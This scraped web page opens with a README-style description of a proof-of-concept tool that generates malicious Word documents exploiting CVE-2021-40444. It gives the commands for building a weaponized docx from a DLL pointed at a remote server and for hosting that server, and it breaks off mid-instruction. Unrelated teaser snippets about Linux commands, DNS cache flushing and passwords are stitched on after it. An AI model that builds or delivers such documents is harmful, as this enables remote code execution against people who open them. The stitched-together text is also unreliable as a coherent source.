CVE-2021-40444 PoC is a Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (sudo apt-get install lcab)
Check REPRODUCE.md for manual reproduce steps
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Once you generate the malicious docx (will be at out/) you can setup the server:
sudo python3 exploit.py host 80
Finally try the docx in a Windows Virtual Machine:
The rmmod command in Linux removes a loaded module from the running kernel. Because the kernel has…
The free command in Linux gives you a quick summary of RAM and swap usage. It reads…
The diff command in Linux compares two text files line by line and shows the lines that…
DNS cache is a temporary database your OS and browser build as you browse. Each time you visit a website, the domain-to-IP mapping is saved locally, cutting out the round trip to a remote DNS server on repeat visits. Stale entries are the most common reason to flush the DNS cache: a server moves to a new IP, but your OS or browser still routes to the old address. This guide covers how to clear the DNS cache on Windows, Linux, and macOS, and how to flush the separate cache stored inside Chrome and Firefox. Flush DNS Cache on Windows The command is the same on Windows 10, Windows 11, and earlier supported releases. Open Command Prompt with administrator privileges. Type cmd in the Windows search bar, right-click Command Prompt, and select Run as…
Using a strong, unique password for every account is one of the most effective security…
Ubuntu locks the root account by default. New users often wonder what the root password…